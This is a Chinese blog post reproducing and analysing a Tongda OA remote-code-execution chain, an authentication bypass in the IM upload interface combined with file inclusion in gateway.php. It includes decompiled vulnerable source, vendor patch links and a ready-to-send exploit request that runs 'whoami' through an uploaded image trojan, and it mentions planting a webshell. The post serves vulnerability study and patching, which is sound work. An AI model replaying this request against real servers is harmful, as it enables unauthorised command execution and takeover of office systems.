通达OA文件上传和文件包含导致的RCE复现分析

发布 : 2020-03-31

漏洞介绍

通达OA是由北京通达信科科技有限公司开发的一款办公系统,前一段时间通达官方在其官网发布了安全提醒与更新程序,并披露有用户遭到攻击。
攻击者可在未授权的情况下可上传图片木马文件,之后通过精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击。

影响范围

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

漏洞复现

下面是根据参考的文章,进行的复现分析过程

环境搭建

首先下载通达OA的安装包,我这里使用的是OA11.3,下载后只有一个安装说明和安装文件,双击安装文件,选择路径进行安装。安装后设置端口并启动即可,测试一下攻击机是否能正确访问。

image-20200331200920910

测试

因为不需要进行认证就可以进行攻击,所以这里直接复制一个包来go一下,文件内容是一个小木马

image-20200331200259894

可以看到上传成功了,下面进入到靶机中确认一下

image-20200331200546211

可以看到,的确是上传成功了,下面执行命令,复制下面的包go一下,就可以看到执行结果了

1
2
3
4
5
6
7
8
9
10
11
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

json={"url":"/general/../../attach/im/2003/354900984.jpg"}&cmd=whoami

image-20200331201227751

这样就成功执行了命令,也可以通过写入一个文件包含,生成一句话来getshell。

EXP验证

image-20200331201849746

使用蚁剑连接

image-20200331202107759

漏洞分析

通达OA对源码进行了加密,所以需要解密一下,进入网站 http://dezend.qiling.org/free.html 上传文件进行解密

image-20200331203337802

漏洞一:未授权上传文件

文件在 webroot\ispirit\im\upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<?php

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
}
}
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit;
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
if ($TYPE == 'mobile') {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
}
} else {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('无文件上传'));
echo json_encode(data2utf8($dataBack));
exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('文件上传失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
if ($UPLOAD_MODE == '1') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file') {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
} else {
if ($MSG_CATE == 'image') {
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
} else {
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
}
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, '@');
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' . $AID . '\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('数据库操作失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
$dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
} else {
if ($UPLOAD_MODE == '2') {
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
} else {
if ($UPLOAD_MODE == '3') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
echo '+OK ' . $ATTACHMENT_ID;
} else {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
$msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
$query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo '-ERR ' . _('数据库操作失败');
exit;
}
if ($FILE_ID == 0) {
echo '-ERR ' . _('数据库操作失败2');
exit;
}
echo '+OK ,' . $FILE_ID . ',' . $msg_id;
exit;
}
}
}

可以看到,第一个if对P进行了判断,只要传递了参数P或者不为空,就可以进入下面的语句,如果判断失败,就进入else,也就是身份认证功能,所以这里只需要传递一个P并且值不为空,就可以绕过登录认证,在未授权的情况下进行上传文件。

image-20200331212252566

所以测试的包中传递了P参数而且是空的

image-20200331205445923然后下面是判断DEST_UID,只要不为空也不为0即可, 在之后的文件上传处理逻辑代码中,会对$_FILES['ATTACHMENT']['name'])进行一次url解码,之后判断解码前后文件名长度是否有变化,如果有变化,则将url解码后的文件名作为最后的文件名。之后追踪upload函数,在 inc/utility_file.php 的1321行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = true)
{
if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
if (!$OUTPUT) {
return _('参数含有非法字符。');
}
Message(_('错误'), _('参数含有非法字符。'));
exit;
}
$ATTACHMENTS = array('ID' => '', 'NAME' => '');
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT) {
if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') {
continue;
}
$data_charset = isset($_GET['data_charset']) ? $_GET['data_charset'] : (isset($_POST['data_charset']) ? $_POST['data_charset'] : '');
$ATTACH_NAME = $data_charset != '' ? td_iconv($ATTACHMENT['name'], $data_charset, MYOA_CHARSET) : $ATTACHMENT['name'];
$ATTACH_SIZE = $ATTACHMENT['size'];
$ATTACH_ERROR = $ATTACHMENT['error'];
$ATTACH_FILE = $ATTACHMENT['tmp_name'];
$ERROR_DESC = '';
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文件'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME, array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
if ($encode != 'UTF-8') {
$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, 'utf-8', MYOA_CHARSET);
} else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u', $ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_('文件名[%s]包含[/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), $ATTACH_NAME);
}
if ($ERROR_DESC == '') {
$ATTACH_NAME = str_replace('\'', '', $ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败'), $ATTACH_NAME);
} else {
$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
}
}
@unlink($ATTACH_FILE);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统限制(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了表单限制'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_('文件[%s]上传不完整'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败:找不到临时文件夹'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_('文件[%s]写入失败'), $ATTACH_NAME);
} else {
$ERROR_DESC = sprintf(_('未知错误[代码:%s]'), $ATTACH_ERROR);
}
}
}
}
}
}
if ($ERROR_DESC != '') {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS['ID'], $ATTACHMENTS['NAME'], $MODULE);
return $ERROR_DESC;
} else {
Message(_('错误'), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}

image-20200331210529649

这里调用了is_uploadable对文件名字进行判断,这个函数在1833行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, '.');
if ($POS === false) {
$EXT_NAME = $FILE_NAME;
} else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == 'php') {
return false;
}
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
}
if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
return false;
}
if (MYOA_UPLOAD_LIMIT == 0) {
return true;
} else {
if (MYOA_UPLOAD_LIMIT == 1) {
return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
} else {
if (MYOA_UPLOAD_LIMIT == 2) {
return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
} else {
return false;
}
}
}
}

首先使用了strrpos来定位.最后出现的位置

image-20200331210959228

当文件名中不存在”.”时会直接以现有的文件名来作为EXT_NAME,如果存在则从.开始匹配3位,判断后缀是否为php,如果为php则返回false,否则将”.”之前的作为EXT_NAME。

因为通达OA搭建在windows环境下,所以可以上传一个.php.后缀的文件,来绕过文件检测,但是这里问题是上传的文件不在web工作目录下,所以即使上传了也访问不到,所以无法利用

漏洞二:文件包含

这个关键文件的位置在webroot\ispirit\interface\gateway.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
//decode by http://dezend.qiling.org QQ 2859470

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
if (preg_match('/[^a-z0-9;]+/i', $P)) {
echo _('非法参数');
exit;
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
echo _('RELOGIN');
exit;
}
}
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == 'data') {
$val = (array) $val;
foreach ($val as $keys => $value) {
${$keys} = $value;
}
}
if ($key == 'url') {
$url = $val;
}
}
if ($url != '') {
if (substr($url, 0, 1) == '/') {
$url = substr($url, 1);
}
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
include_once $url;
}
}
exit;
}

这里首先是不传入参数P就可以进入下面判断语句,之后用到了stripcslashes函数

image-20200331211750377

之后从json中获取url参数的值,之后判断general/、ispirit/、module/是否在url内,如果不在直接跳过下面的include_once $url,如果存在则包含指定URL的文件, 这个是后期进行文件包含的重点

综合利用

通过第一个漏洞,绕过认证上传图片木马,然后通过文件包含来包含文件,其中需要注意的是 DEST_UID 不能未空,也不能是php后缀的文件,文件包含中的url请求数据中需要包含 general/、ispirit/、module/三者中的一个 ,这些都在上面的payload中有体现。

总结

可以看到,各种危害不是很大的漏洞,组合起来危害还是比较大的,尤其是在这个攻击中两次都利用到的认证绕过,起到了关键的作用。通过绕过认证访问到上传接口进行图片马的上传,再结合上文件包含,造成了RCE。

漏洞修复

V11版:http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe
2017版:http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe
2016版:http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe
2015版:http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe
2013增强版:http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe
2013版:http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe

Reference

https://github.com/jas502n/OA-tongda-RCE

http://www.tongda2000.com/news/673.php

https://xz.aliyun.com/t/7424

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/bdd0a488.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!